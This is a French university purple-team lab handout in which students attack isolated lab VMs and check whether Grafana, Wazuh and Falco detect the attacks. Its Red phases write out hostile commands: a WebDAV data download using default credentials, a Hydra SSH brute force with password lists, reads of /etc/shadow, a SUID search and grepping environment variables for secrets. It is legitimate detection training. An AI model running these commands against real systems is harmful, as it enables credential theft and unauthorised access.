TP 3 - Simulation d'Attaque Purple Team
Auteur : Thibaut Fontaine — Kodetis Institution : Université de La Réunion Durée estimée : 3h
Table des matières
Section intitulée « Table des matières »- Objectifs et Contexte
- Scénario 1 : Espionnage scientifique
- Scénario 2 : Compromission satellite
- Scénario 3 : Insider threat
- Exercice Red vs Blue
- Synthèse des détections
- Questions de validation
1. Objectifs et Contexte
Section intitulée « 1. Objectifs et Contexte »📡 Poste SOC · La Réunion — Acte 3, Prouver : vous rejouez l’incident de bout en bout. Poste avancé : Dumont d’Urville (Terre Adélie).
🎯 Objectif métier — jouer l’attaque et la défense sur la même infra pour prouver que monitoring et SIEM détectent réellement.
🔴 Au fil de l’enquête
Section intitulée « 🔴 Au fil de l’enquête »Red exploite, Blue détecte, l’audit prouve. Ce TP rejoue la kill chain du jour J sur votre propre infra : si une étape passe sous les radars, c’est ici que vous le découvrez — pas le jour où ça compte. C’est la boucle qui valide tout ce que vous avez construit aux Actes 1 et 2.
Contexte
Section intitulée « Contexte »L’audit de conformité (TP1) et le scan de vulnérabilités (TP2) ont révélé des faiblesses. Le RSSI des TAAF veut maintenant tester les défenses en conditions réelles. Vous allez simuler des attaques inspirées de menaces réalistes et vérifier que le monitoring et le SIEM les détectent.
Approche Purple Team
Section intitulée « Approche Purple Team »L’approche Purple Team combine :
- Red Team (attaquant) : simule des attaques réalistes
- Blue Team (défenseur) : surveille et détecte les attaques
Dans ce TP, vous jouez les deux rôles alternativement, ou en binôme (un attaque, l’autre surveille).
graph LR RED["Red Team
(TAAF-AUDIT-001)
Attaque"] INFRA["Infrastructure TAAF
(VMs cibles)"] BLUE["Blue Team
(Grafana + Wazuh)
Détection"] RED -->|"Simule des attaques"|INFRA INFRA -->|"Génère des alertes"|BLUE BLUE -.->|"Feedback"|RED style RED fill:#f66,stroke:#333,color:#fff style BLUE fill:#66f,stroke:#333,color:#fff
Objectifs pédagogiques
Section intitulée « Objectifs pédagogiques »- Exécuter des scénarios d’attaque contrôlés dans un environnement isolé
- Vérifier la détection par Grafana (métriques, logs) et Wazuh (alertes SIEM)
- Identifier les lacunes de détection et proposer des améliorations
- Travailler en binôme Red/Blue pour comprendre les deux perspectives
2. Scénario 1 : Espionnage scientifique
Section intitulée « 2. Scénario 1 : Espionnage scientifique »Contexte narratif
Section intitulée « Contexte narratif »Un groupe APT cherche à exfiltrer les données de recherche en biologie marine stockées sur le Nextcloud de la base Kerguelen. L’attaquant tente d’accéder aux fichiers du dossier “Biologie-marine” via différentes méthodes.
2.1 Phase Red — Attaque
Section intitulée « 2.1 Phase Red — Attaque »Depuis TAAF-AUDIT-001 :
# Tentative d'accès aux fichiers NextCloud via l'API WebDAV# avec un compte non autorisécurl -v -u testuser:wrongpassword \ http://IP_VM2:8081/remote.php/dav/files/admin/Biologie-marine/
# Tentative d'énumération des utilisateurscurl -v http://IP_VM2:8081/ocs/v1.php/cloud/users \ -u admin:admin \ -H "OCS-APIREQUEST: true"
# Tentative de téléchargement de fichiers sensiblescurl -v -u admin:admin \ http://IP_VM2:8081/remote.php/dav/files/admin/Biologie-marine/ \ --output ~/exfiltrated-data.zip2.2 Phase Blue — Détection
Section intitulée « 2.2 Phase Blue — Détection »Vérifiez dans vos outils de supervision :
Grafana (Loki) :
- Recherchez les logs Nextcloud contenant des erreurs d’authentification
- Requête LogQL :
{job="nextcloud"} |= "Login failed"
Wazuh :
- Recherchez les alertes d’authentification échouée
- Recherchez les accès WebDAV suspects
Falco :
- Si Falco surveille le conteneur Nextcloud, vérifiez les alertes de lecture de fichiers
2.3 Livrable scénario 1
Section intitulée « 2.3 Livrable scénario 1 »| Étape | Action Red | Détecté ? | Outil de détection | Preuve (capture) |
|---|---|---|---|---|
| Auth échouée | curl avec mauvais mot de passe | ? | ? | |
| Énumération users | API OCS | ? | ? | |
| Exfiltration | Téléchargement WebDAV | ? | ? |
3. Scénario 2 : Compromission satellite
Section intitulée « 3. Scénario 2 : Compromission satellite »Contexte narratif
Section intitulée « Contexte narratif »Un attaquant tente de compromettre le serveur de la base (TAAF-MONITORING-001) par brute force SSH pour établir un point d’ancrage dans le réseau TAAF.
3.1 Phase Red — Attaque
Section intitulée « 3.1 Phase Red — Attaque »Depuis TAAF-AUDIT-001 :
# Création d'une liste d'utilisateurs à testercat > ~/users.txt << 'EOF'rootadminvagranttaafoperatorsatellitedeployEOF
# Création d'une liste de mots de passe courantscat > ~/passwords.txt << 'EOF'passwordadmin123456taaf2024P@ssw0rdvagrantchangemeletmeinEOF
# Brute force SSH avec Hydrahydra -L ~/users.txt -P ~/passwords.txt \ ssh://IP_VM2 -t 4 -V3.2 Phase Blue — Détection
Section intitulée « 3.2 Phase Blue — Détection »Grafana :
- Dashboard système : observez le pic de connexions SSH
- Loki :
{job="syslog"} |= "Failed password"
Wazuh :
- Alertes brute force SSH (règles 5710, 5712, 5720)
- Vérifiez que l’IP IP_AUDIT est identifiée comme source
Alertmanager :
- Si configuré, une alerte devrait être envoyée sur Discord/Google Chat
3.3 Livrable scénario 2
Section intitulée « 3.3 Livrable scénario 2 »| Métrique | Valeur |
|---|---|
| Nombre de tentatives SSH | ? |
| Durée de l’attaque | ? |
| Délai de détection Wazuh | ? |
| Alerte Alertmanager reçue ? | ? |
| Faux positifs générés ? | ? |
4. Scénario 3 : Insider threat
Section intitulée « 4. Scénario 3 : Insider threat »Contexte narratif
Section intitulée « Contexte narratif »Un technicien mécontent de la base Alfred Faure tente d’obtenir des accès administrateur pour modifier les données météorologiques. Il utilise son compte standard pour tenter une élévation de privilèges.
4.1 Phase Red — Attaque
Section intitulée « 4.1 Phase Red — Attaque »Connectez-vous à TAAF-MONITORING-001 avec un compte non-root :
# Se connecter en tant qu'utilisateur standardvagrant ssh monitoring# Tentative d'accès aux fichiers sensiblescat /etc/shadowcat /etc/sudoers
# Tentative d'élévation de privilègessudo su -sudo -l
# Recherche de fichiers SUID exploitablesfind / -perm -4000 -type f 2>/dev/null
# Tentative de modification de fichiers de configurationcat /etc/passwdcat /proc/version
# Recherche de credentials dans les variables d'environnementenv | grep -i passenv | grep -i keyenv | grep -i secret
# Accès aux bases de donnéespsql -h localhost -U postgres -d personnel_base -c "SELECT * FROM employes LIMIT 5;"4.2 Phase Blue — Détection
Section intitulée « 4.2 Phase Blue — Détection »Falco :
- Détection d’accès à
/etc/shadow(règle standard Falco) - Détection de
sudodepuis un utilisateur non autorisé - Détection de recherche de fichiers SUID
Grafana :
- Pic d’activité CPU/processus sur TAAF-MONITORING-001
- Logs système avec les commandes suspectes
SOC Grafana-natif (Sigma → LogQL) :
- Alertes d’élévation de privilèges
- Alertes d’accès aux fichiers sensibles
- (bonus Wazuh : mêmes alertes corrélées dans son dashboard)
4.3 Livrable scénario 3
Section intitulée « 4.3 Livrable scénario 3 »| Action | Détecté par Falco ? | Détecté par Wazuh ? | Règle déclenchée |
|---|---|---|---|
| cat /etc/shadow | ? | ? | |
| sudo su - | ? | ? | |
| find SUID | ? | ? | |
| Accès BDD | ? | ? |
5. Exercice Red vs Blue
Section intitulée « 5. Exercice Red vs Blue »Organisation en binôme
Section intitulée « Organisation en binôme »5.1 Phase 1 — Red Team (30 min)
Section intitulée « 5.1 Phase 1 — Red Team (30 min) »Le Red Team dispose de TAAF-AUDIT-001 et doit :
- Choisir un scénario d’attaque (un des 3 ci-dessus ou inventer le sien)
- Exécuter l’attaque sans prévenir le Blue Team du type d’attaque
- Documenter chaque étape dans un journal d’attaque
5.2 Phase 1 — Blue Team (30 min)
Section intitulée « 5.2 Phase 1 — Blue Team (30 min) »Le Blue Team surveille Grafana + Wazuh et doit :
- Détecter l’attaque en temps réel
- Identifier le type d’attaque
- Identifier la source (IP, utilisateur)
- Documenter la chronologie de détection
5.3 Phase 2 — Inversion des rôles (30 min)
Section intitulée « 5.3 Phase 2 — Inversion des rôles (30 min) »Inversez les rôles et recommencez avec un scénario différent.
5.4 Débriefing commun
Section intitulée « 5.4 Débriefing commun »Comparez vos résultats :
- Quelles attaques ont été détectées ? En combien de temps ?
- Quelles attaques sont passées inaperçues ?
- Quelles améliorations proposez-vous pour les règles de détection ?
6. Synthèse des détections
Section intitulée « 6. Synthèse des détections »Matrice de détection globale
Section intitulée « Matrice de détection globale »Remplissez cette matrice avec l’ensemble des résultats des 3 scénarios :
| Catégorie d’attaque | Grafana (métriques) | Grafana (Loki/logs) | Falco | Wazuh | Alertmanager |
|---|---|---|---|---|---|
| Auth échouée web | ? | ? | ? | ? | ? |
| Brute force SSH | ? | ? | ? | ? | ? |
| Accès fichiers sensibles | ? | ? | ? | ? | ? |
| Élévation de privilèges | ? | ? | ? | ? | ? |
| Exfiltration de données | ? | ? | ? | ? | ? |
| Énumération utilisateurs | ? | ? | ? | ? | ? |
Taux de détection
Section intitulée « Taux de détection »Taux de détection = (Attaques détectées / Attaques totales) × 100Livrable : Matrice de détection complétée + taux de détection + 3 recommandations d’amélioration.
7. Questions de validation
Section intitulée « 7. Questions de validation »- [Facile] Qu’est-ce qu’une approche Purple Team ?
- [Facile] Quel outil avez-vous utilisé pour le brute force SSH ?
- [Moyen] Quel est le délai moyen de détection d’un brute force SSH par Wazuh ?
- [Moyen] Pourquoi Falco détecte-t-il l’accès à
/etc/shadowmais pas forcément l’énumération des utilisateurs Nextcloud ? - [Moyen] Quelle est la différence entre une détection basée sur les signatures et une détection basée sur le comportement ?
- [Avancé] Proposez une règle Falco personnalisée pour détecter l’exfiltration de données depuis Nextcloud.
- [Avancé] Comment un attaquant réel pourrait-il contourner la détection de brute force SSH par Wazuh ?
- [Avancé] Calculez votre taux de détection. Est-il acceptable pour une infrastructure critique comme les TAAF ?
- [Expert] Concevez un scénario d’attaque multi-étapes (kill chain) spécifique au contexte TAAF et décrivez comment chaque étape devrait être détectée.
- [Expert] Comment intégreriez-vous le framework MITRE ATT&CK dans votre matrice de détection ?